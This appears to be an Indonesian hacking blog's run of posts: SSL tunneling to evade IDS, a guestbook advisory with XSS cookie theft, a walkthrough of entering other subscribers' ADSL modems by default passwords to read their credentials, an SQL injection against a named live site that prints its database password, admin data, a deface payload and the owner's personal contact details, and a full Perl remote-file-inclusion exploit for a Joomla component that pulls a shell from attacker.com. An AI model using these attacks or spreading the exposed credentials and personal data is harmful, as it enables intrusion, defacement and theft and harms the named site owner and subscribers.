~ mercubuana-it@yahoogroups.com ,
------------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
----------------------------------- [ EOF ] ----------------------
Computer Hacking • (0) Comments • (200) Trackbacks • Permalink
Melewati IDS: Hacking melalui SSL
Tujuan dari SSL adalah untuk mengelabui packet sniffing, yang memungkinkan para pencuri data
mengambil informasi dari data yang dilewatkan menuju sistem.
Dalam hal pendeteksi gangguan, SSL merupakan halangan terbesar. Kebanyakan IDS berpedoman pada
packet sniffing jaringan untuk mengumpulkan aktivitas data. Jika data itu sendiri terenkripsi,
maka tidak bisa dianalisis untuk bisa menentukan apakah aktivitas itu mencurigakan atau tidak.
Semua IDS yang berdasar pada packet sniffing jaringan pasti akan mengabaikan serangan yang
lewat pada SSL.
Melancarkan serangan melalui SSL
MEnggunakan browser untuk melancarkan serangan HTTP melalui SSL adalah mudah. Satu-satunya yang
harus dilakukan oleh penyerang adalah menggunakan URL dengan awalan https. Browserlah yang akan
menangani session negosiasi SSL dan enkripsinya. Tetapi jika penyerang ingin menjalankan script
atau tool untuk mengirim serangan melalui HTTP namun tidak memiliki fungsi SSL padanya, maka ia
akan menggunakan suatu teknik yang disebut dengan tunneling. Tunneling SSL memerlukan program
penerus-port yang terhubung pada port 80 untuk request HTTP standar dan meneruskannya ke host
tertentu pada koneksi SSL terenkripsi. Dengan cara ini, serangan yang dilancarkan terhadap program
SSL tunnel secar otomatis terenkripsi dan diteruskan ke sistem target.
Mengkonstruksi sebuah tunnel SSL dengan Open SSL adalah sangat mudah, khususnya pada sistem UNIX
yang menggunakan inetd.
Contoh: penyerang pada 10.0.0.1 dan web server target 192.168.7.203 pada port 403
penyerang ingin menjalankan vulnerability scanner seperti whisker pada web server target.
Penyerang mengeset SSL tunnel ke sistem lain, 10.0.0.2. Pada file /etc/inetd.conf pada 10.0.0.2 ditambahkan:
www stream tcp nowait root /usr/sbin/tcpd /tmp/sslconnect.sh
Penambahan ini menyebabkan inetd daemon melewatkan semua lalu lintas TCP pada port 80(www) ke
/tmp/sslconnect.sh. Isi dari /tmp/sslconnect.sh adalah:
#!/bin/sh
openssl s_client -no_tls1 -quiet -connect 192.168.7.203:433 2>/dev/null
Karena /tmp/sslconnect.sh dipanggil oleh inetd, semua data yang datang melalui TCP port 80 diterima
sebagai input standar ke openssl. Alamat IP dari server target, 192.168.7.203, merupakan script yang
susah dipecahkan. SSL tunnel bisa digunakan hanya terhadap satu sistem untuk sekali jalan.
Opsi “-no_tls1” dan “-quiet” memaksa tampilan header SSL dan mem-bypass peringatan otentikasi untuk
situs-situs yang memiliki sertifikat tak tertandai. Semua data yang dikembalikan oleh open ssl
dikirim kembali lewat koneksi TCP yang datang dari inetd, ketika itu script mengubah semua data
menjadi output standar.
Penyerang sekarang menjalankan whisker pada 10.0.0.2 di port 80 sebagai server target; bukan pada
192.168.7.203. SSL tunnel mengerjakan enkripsi dan meneruskan data ke 192.168.7.203, dan mengirim
jawaban kembali ke 10.0.0.1.
Computer Hacking • (0) Comments • (225) Trackbacks • Permalink
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
accelGbook is a freeware guestbook, written in php.
download at : http://scripts.ringsworld.com/guestbooks/accelgbook.zip
website : http://www.russeldesign.com
Version :
tested on accelGbook v2
not tested on other/older version but it is possible be the sama
------------------------------------------------------------------
Vulnerabilities:
~~~~~~~~~~~~~~~~
A. Username dan password admin tidak terenkripsi pada file connect.php :
username dan password admin yang terletak pada file connect.php tidak dienkripsi,
itu berarti penyerang yang dapat mengakses file tersebut dapat langsung melihat
account admin tanpa perlu mengcracknya.
dibuktikan pada :
/admin/connect.php > file untuk menyimpan username dan password admin
/* CHANGE THE USERNAME AND PASSWORD */
define("ADMINUSER", “roninmorgue"); // admin username
define("ADMINPASSWORD", “roninmorgue"); // admin password
#####################################################
define("ADMINHOME", “frame.html");
?>
define("ADMINUSER", “roninmorgue"); <--- tanpa proses enkripsi,
define("ADMINPASSWORD", “roninmorgue"); <--- tanpa proses enkripsi,
dimana username roninmorgue disimpan pada variabel constant ADMINUSER,
dan password roninmorgue disimpan pada variabel constant ADMINPASSWORD,
B. Script Injection
Pada proses input data guest tidak dilakukan sanitasi input, sehingga user dapat
memasukkan kode-kode script secara langsung…
header.php
function GetSQLValueString($theValue, $theType, $theDefinedValue = “”, $theNotDefinedValue = “")
{
$theValue = (!get_magic_quotes_gpc()) ? addslashes($theValue) : $theValue;
switch ($theType) {
case “text”:
$theValue = ($theValue != “") ? “‘“ . $theValue . “‘“ : “NULL”;
break;
=================potong=================================
$editFormAction = $_SERVER[’PHP_SELF’];
if (isset($_SERVER[’QUERY_STRING’])) {
$editFormAction .= “?” . htmlentities($_SERVER[’QUERY_STRING’]);
}
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == “addMessage")) {
$insertSQL = sprintf("INSERT INTO accelgbook (firstName, lastName, country, email,
website, comment, `date`, marker) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)”,
GetSQLValueString($_POST[’firstName’], “text"),
GetSQLValueString($_POST[’lastName’], “text"),
GetSQLValueString($_POST[’country’], “text"),
GetSQLValueString($_POST[’email’], “text"),
GetSQLValueString($_POST[’website’], “text"),
GetSQLValueString($_POST[’comment’], “text"),
GetSQLValueString($_POST[’date’], “text"),
GetSQLValueString($_POST[’date2’], “date"));
mysql_select_db($database, $accelgbook);
$Result1 = mysql_query($insertSQL, $accelgbook) or die(mysql_error());
vulnerability terjadi pada fungsi GetSQLValueString, dimana hanya menggunakan fungsi
addslashes yang berfungsi untuk memastikan bahwa data string yang dikirim ke server MySQL
telah bebas dari karakter-karakter terlarang, seperti ‘, “, , dan sebagainya, sehingga
proses query terjamin dari kegagalan.
sanitasi dari kode html dengan fungsi htmlentities hanya dilakukan pada input pesan (message)
pada file sign_accelgbook.php
========================================potong===============
-----------------------------------------------------------
poc:
~~~~~
masukkan script html atau javascript pada field website (tanpa pembatasan karakter)
c/: untuk mengambil cookie atau script lainnya.
----------------------------------------------------------
The fix:
~~~~~~~~
Vendor sudah dihubungi,
Perbaikan sendiri dengan menambahkan fungsi strip_tags() dan mysql_escape_string()
Computer Hacking • (0) Comments • (191) Trackbacks • Permalink
Category: Hacking
Author: roninmorgue
Date: February, 27th 2007
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
--------------------------------------------------------------------------------
To the point. Gw mo cerita sedikit tentang hacking modem speedy, seperti yang kita ketahui bersama speedy adalah layanan internet ADSL dari telkom. Layanan ini sangat diminati oleh masyarakat dikarenakan aksesnya lebih baik menurut kacamata kita yang terbiasa dengan akses internet berkecepatan 100 km/24 jam...huehuehuee.
Untuk menikmati layanan speedy kita harus memiliki sebuah modem ADSL dan teregistrasi sebagai member dari speedy.
Sekarang bagaimana cara melakukan hacking pada speedy, sebenarnya sih bukan speedy nya yang secara langsung kita serang tapi kita memanfaatkan kelemahan dari modem yang digunakan oleh pelanggan. Apabila kita terhubung dengan speedy otomatis kita akan diberikan sebuah IP pada untuk dapat berhubungan kejaringan speedy, dengan kata lain kita adalah anggota jaringan speedy.
Singkat kata ...sebenarnya kita terhubung dengan setiap modem yang ada, terus hackingnya mana?
Ok, sesuai yang gw bilang sebelumnya...teknik ini memanfaatkan kelemahan dari modem dan usernya. pertama kita buka konfigurasi modem kita sendiri melalui URL, setelah masuk kita lihat IP yang kita dapatkan : 125.161.196.21
dengan menggunakan s/w aatols.exe kita akan mencari IP dari modem yang lainnya dengan memasukkan IP kita sendiri, kemudian melakukan setting terhadap policy dan port set dilanjutkan dengan melakukan proses scanning .
Didapatkan IP pada proses tersebut, dan kita ambil IP 125.161.196.124 dengan nama server: WindWeb/2.0, itu adalah target yang kita cari. Langkah selanjutnya kita masukkan alamat IP tersebut pada alamat URL dan kita akan mendapatkan jendela konfirmasi login. Kalau kita beruntung, username dan passwordnya belum dirubah oleh user… masukkan username default : admin dan password default: password
Setelah masuk akan dijumpai halaman konfigurasi modem tersebut, kemudian kita lihat source code dari halaman tersebut :
<HTML>
<!-- WanType: 0 = none, 1 = ADSL, 2 = ethernet -->
var WanType = “1”
if (WanType == 1)
[removed]("<TITLE>PROLINK HURRICANE 9000/P</TITLE>\n");
else
[removed]("<TITLE>PROLINK HURRICANE 9000/P</TITLE>\n");
<FRAMESET COLS="170,*">
<FRAME SRC="/doc/toc.htm" noresize scrolling="0">
<FRAME SRC="/doc/wan_adv.htm" NAME=main>
</FRAMESET>
</HTML>
kita lihat terdapat teks <FRAME SRC="/doc/wan_adv.htm" NAME=main>, nah pada halaman itulah tersimpan username dan password. Tambahkan pada URL dan lihat source code pada halaman tersebut
======================= potong ===============
<BODY BGCOLOR=WHITE><FORM action=dosave.htm method=get><INPUT
TYPE=HIDDEN NAME=WINDWEB_URL VALUE=/doc/wan_adv.htm>
<CENTER><FONT SIZE=+1 COLOR=blue>Quick Setup</FONT><HR
NOSHADE COLOR=blue>
<INPUT TYPE=HIDDEN NAME=wan_pvc_en VALUE="1">
<TABLE CELLPADDING=6>
<TR><TD>VPI</TD><TD><INPUT TYPE=text NAME=wan_VPI VALUE="1" SIZE=4 >
(VPI/VCI=Singapore <font color=red>0/100</font>; Malaysia <font
color=red>0/35</font>; Indonesia <font color=red>1/33</font>; SriLanKa
<font color=red>8/35</font>)</TD></TR>
<TR><TD>VCI</TD><TD><INPUT TYPE=text NAME=wan_VCI VALUE="33" SIZE=4 >
</TD></TR>
<TR><TD>Username</TD><TD><INPUT TYPE=text NAME=simple_ppp_username VALUE
="12x86200xx7@telkom.net" MAXLENGTH=128 SIZE=32 >
(e.g. james@singnet)</TD></TR>
<TR><TD>Password</TD><TD><INPUT TYPE=PASSWORD NAME=simple_ppp_pwd VALUE=
“f8 bdF k h” MAXLENGTH=128 SIZE=32 >
</TD></TR>
</TABLE>
=======================potong ===============
Oke sudah terlihat username dan password dari target….tapi sori yah, untuk melindungi target sengaja gw hilangkan sebagian. Itu hanya sekadar pelajaran buat kita semua, lindungilah modem kita…(bagi pengguna speedy loh). Btw jadikan ini hanya sekedar buat pembelajaran kita semua, sebenarnya bukan hanya jenis modem ini saja yang bisa kita exploitasi, gw dah coba juga dengan beberapa modem dengan konfigurasi default seperti password 1234, sehingga siapapun bisa mengaksesnya karena ada catatan yang memberitahu kita bahwa modem anda masih memliki password default 1234..harap segera menggantinya….weleh2
Tapi gw ngga tega make account2 itu… dosa, ditambah dengan pesan para ustadz...jangan mengambil yang bukan hakknya!!!!!!!!!!!!!!
------------------------------------------------------------
Shoutz:
~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud, acieis)
~ mercubuana-it@yahoogroups.com ,
~ x-code staff n members at yogya_family_code, ^family_code^,
---------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
anstellwinkel[at]yahoo[dot]com[dot]au
petambakudang[at]yahoo[dot]co[dot]id
---------------- [ EOF ] ----------------------------------------
Computer Hacking • (0) Comments • (202) Trackbacks • Permalink
Category: Hacking n Security
Author: roninmorgue
Date: April, 29th 2007
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
----------------------------------------
Affected :
Tulisan ini sebenarnya saya buat atas pernyataan dari pengelola web malanghack.net, atas tulisan yang saya buat mengenai eksploitasi yang saya lakukan terhadap server malanghack.net(baca postingan saya di room yang sama).
Dan tulisan ini saya buat juga didasarkan atas permintaan pengelola untuk melakukan hacking kembali, padahal saya sudah lama meninggalkan aktifitas defacing. Jadi yang saya lakukan hanyalah melakukan sedikit audit pada web site malanghack.net
Setelah cukup lama melakukan audit, saya menemukan vulnerability pada aplikasi web, dan vulnerability tersebut masuk dalam kategori high risk.
Vulnerability yang ditemukan adalah SQL Injection pada salah satu file yang ada, yaitu file article_read.php, dimana terdapat command SQL yang berfungsi untuk menampilkan artikel pada web tersebut...namun tidak dilakukan sanitasi terhadap masukan data.
POC :
file tidak mampu mensanitasi karakter-karakter berikut :
‘, ', �’, ‘“
Ketikkan pada URL -->> http://www.malanghack.net/article_read.php?id=’
akan tampil :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/malang/public_html/article_read.php on line 343
DATA NOT FOUND
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/malang/public_html/article_read.php on line 353
Dari result diatas kita dapat memastikan bahwa file telah mengeksekusi karakter yang kita input tanpa melalui proses sanitasi, dan dinyatakan data tidak ditemukan.
Kemudian apa yang bisa kita lakukan dengan celah ini? OK...kita masuk ke inti dari tulisan saya ini, sebelum saya jelaskan cara mengeksploitasinya ada baiknya saya sedikit mereview hasil grabbing saya terdahulu terhadap struktur dari database aplikasi web malanghack.net (ps: itu kalau dia ngga bohong yah, mengenai tidak ada perubahan pada aplikasinya)
$database="sincan2_hack";
$sqlhost="localhost";
$sqluser="sincan2_abde";
$sqlpass="abdecakep12345";
* Nama-nama table database sincan2_hack --<
admin article crew deface depan download links
** field-field table admin --<
no int(5) PRI auto_increment user varchar(50) pass varchar(100)
md5pass varchar(255) email varchar(255) last varchar(255) nick varchar(50)
email_id varchar(100)
*** isi table admin --<
1 |sincan2 |- |- |sincan2@malanghack.net | |Sincan2 |haldi1304 |
** field-field table crew --<
no int(11) PRI nama varchar(255) email varchar(255) url varchar(255)
*** isi table crew --<
1 |J1nX |abde@j1nx.net |http://j1nx.net/ |
** field-field table depan
no int(5) depan longtext
*** isi table depan
1 |
Welcome to #malanghack
Rendrian Rizaldi Putra Atmono 7 Oktober 2005 jam 11 Malam
(HADI + ERNA)
-------------------------------------------------------------------
Selamat Tinggal 2005 masa kelam di mana suka dan duka selalu menyelimuti kita
Dan selamat Datang 2006 semoga Tuhan senantiasa bersama kita.
-------------------------------------------------------------------
Saya lebih tertarik untuk membuat contoh eksploitasi tabel yang sama ( tabel depan ).
Kita coba memberi sedikit pengertian yang terjadi pada SQL Injection dengan contoh :
SELECT nmr_cc
FROM pembeli
WHERE nama = ‘Ronin O’’Morgue’; —berjalan dengan baik
Kebanyakan database mendukung mekanisme pelewatan karakter/string. MySQL, juga mengijinkan \’
untuk melewatkan sebuah tanda petik, jadi setelah memasukkan \’; DROP TABLE users;—
kita mendapatkan:
SELECT nmr_cc
FROM pembeli
WHERE nama = ‘\’’; DROP TABLE pembeli; --’; —Got!!! i hack your database!
Ok...itu contoh ekstrim, atau lebih ekstrim drop databasenya aja!!!
Tapi tentu saja itu sangat tidak cantik, padahal banyak yang masih bisa kita lakukan, seperti
bagaimana kita dapat mengeksploitasi aplikasi web malanghack.net
Saya perkirakan file article_read.php memiliki sebuah kode program SQL yang tidak berbeda jauh
dengan contoh yang saya berikan (dengan melihat dari URL)
SELECT *
FROM article
WHERE id = ‘no_id’; —ini akan berjalan dengan normal
Sekarang kita coba untuk melakukan perubahan isi data pada table ‘depan’,
SELECT *
FROM article
WHERE id = ‘\’’; UPDATE depan SET depan = <teks untuk deface> WHERE no = 1; --’;
dan silahkan aplikasikan eksploitasi tersebut pada URL nya ( tidak saya contohkan agar tidak terjadi kegiatan yang merugikan pihak lain )
Pencegahan :
1. Batasi akses user melalui database permision, jangan ijinkan statement selain SELECT
2. Gunakan store prosedur untuk pengaksesan database
3. Buat fungsi untuk melakukan sanitasi terhadap input karakter
4. Buat konfigurasi error sendiri
Selanjutnya apa?
Seperti yang sudah disebutkan diatas, saya hanya mengaudit aplikasinya saja (bukan dari sisi server) dan saya sudah meninggalkan aktifitas deface...jadi saya hanya ingin share saja.
Bagi yang ingin berbaik hati terhadap webmaster silahkan untuk memberitahu di:
Domain Name: MALANGHACK.NET
Registrant:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384
Creation Date: 14-Jul-2005
Expiration Date: 14-Jul-2007
Domain servers in listed order:
ns1.kerangkalangit.net
ns2.kerangkalangit.net
Administrative Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384
Technical Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384
Billing Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384
Status:ACTIVE
PS : Jangan merugikan pihak lain, ingat hukum karma akan terjadi terhadap kita (merasakan sendiri)
Jangan social enginnering.
Apakah ekploitasi ini pasti berhasil?
—Tidak, karena keberhasilan eksplotasi ini sangat dipengaruhi oleh struktur database, konfigurasi
server, dan scipt utuh dari file.
Maaf buat yang kesal dan menganggap tulisan ini tidak bermutu, lain kali saya taruh diatas
deh PS-nya
------------------------------------------------------------
Shoutz:
~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion,
WaferStick, newbie, cloud, acieis)
~ mercubuana-it@yahoogroups.com ,
~ x-code staff n members at yogya_family_code, ^family_code^,
---------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
anstellwinkel[at]yahoo[dot]com[dot]au
petambakudang[at]yahoo[dot]co[dot]id
---------------- [ EOF ] ----------------------------------------
Computer Hacking • Computer Security • (0) Comments • (190) Trackbacks • Permalink
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Joomla is free software, written in PHP Script released under GNU GPL Licence
##########################################
# galleria - A Picture Gallery #
# Copyright (C) 2004 #
# Homepage : http://www.binarydigit.at #
# Email : office@binarydigit.at #
# Version : 1.0 #
# License : GNU GPL Public License #
##########################################
-------------------------------------------------------
Vulnerability terjadi pada modules gallery
Proof of Concept:
~~~~~~~~~~~~~~~
Vulnerable Script: galleria.php pada folder modules/galleria.
---------------galleria.php--------------------------------
include_once($mosConfig_absolute_path."/components/com_galleria/
galleria.html.php");
include_once($mosConfig_absolute_path."/components/com_galleria/
config.galleria.php");
include_once($mosConfig_absolute_path."/administrator/components/
com_galleria/class.galleria.php");
html_galleria::show_header( $option, $Itemid );
switch( $task )
{
case ‘show_rubriks’:
show_rubriks ( $option, $Itemid );
break;
...
---------------------------------------------------------
Variabel $mosConfig_absolute_path tidak disanitasi .
Saat register_globals=on dan allow_fopenurl=on maka penyerang dapat meng-exploitasi kelemahan
ini dengan php injection script.
Poc/Exploit:
~~~~~~~~~~~
dir.txt
<?
echo "".passthru(' ls -la ; id ')."";
?>
Perl Exploit:
~~~~~~~~~~~
#!/usr/bin/perl
##
# Joomla Remote Code Execution Exploit
# Bug Found & code By roninmorgue
# code reference from K-159 & uid0/zod at ExploiterCode.com
##
# usage:
# perl joomla.pl <target> <cmd shell location> <cmd shell variable>
# perl joomla http://target.com/ http://attacker.com/cmd.txt cmd
# cmd shell example: <?passthru($_GET[cmd]);?>
# cmd shell variable: ($_GET[cmd]);
##
# Contact: roninmorgue@yahoo.co.id || http://www.forum.mercubuana-it.org
##
use LWP::UserAgent;
$Directory = $ARGV[0];
$DirectoryCommand = $ARGV[1];
$command = $ARGV[2];
if($Directory!~/http:\/\// || $DirectoryCommand!~/http:\/\// || !$command){usage()}
head();
while()
{
print “[shell] \$”;
while(<STDIN>)
{
$cmdshell=$_;
chomp($cmdshell);
$exploit = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$Directory.’/components/com_galleria/
galleria.php?mosConfig_absolute_path=
‘.$DirectoryCommand.’?&’.$command.’=’.$cmdshell)
or die “\nCould Not connect\n”;
$res = $exploit->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if (!$cmdshell) {print “\nPlease Enter a Command\n\n”; $return ="”;}
elsif ($return =~/failed to open stream: HTTP request failed!/ ||
$return =~/: Cannot execute a blank command in <b>/)
{print “\nCould Not Connect to cmd Host or Invalid Command Variable\n”;exit}
elsif ($return =~/^<br.\>.<b>Fatal.error/) {print “\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print “\r\n$finreturn\n\r”;
last;
}
else {print “[shell] \$”;}}}last;
sub head()
{
print “\n===================================================\r\n”;
print “ *Joomla Remote File Inclusion*\r\n”;
print “=====================================================\r\n”;
}
sub usage()
{
head();
print “ Usage: perl joomla.pl <target> <cmd shell location> <cmd shell variable>\r\n\n”;
print “ <Site> - Full path to Joomla site ex: http://www.site.com/ \r\n”;
print “ <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n”;
print “ <cmd variable> - Command variable used in php shell \r\n”;
print “=====================================================\r\n”;
print “ Bug Found by roninmorgue \r\n”;
print “ Contact: roninmorgue@yahoo.co.id || http://www.forum.mercubuana-it.org \r\n”;
print “=====================================================\r\n”;
exit();
}
``````````````````````````````````
Solution/The Fix:
~~~~~~~~~~~~~~
Non-aktifkan module galleria/delete
Sanitasi script pada file galleria.php untuk mencegah vulnerability ini
Notification:
~~~~~~~~~~~
vendor belum dihubungi
Computer Hacking • (0) Comments • (195) Trackbacks • Permalink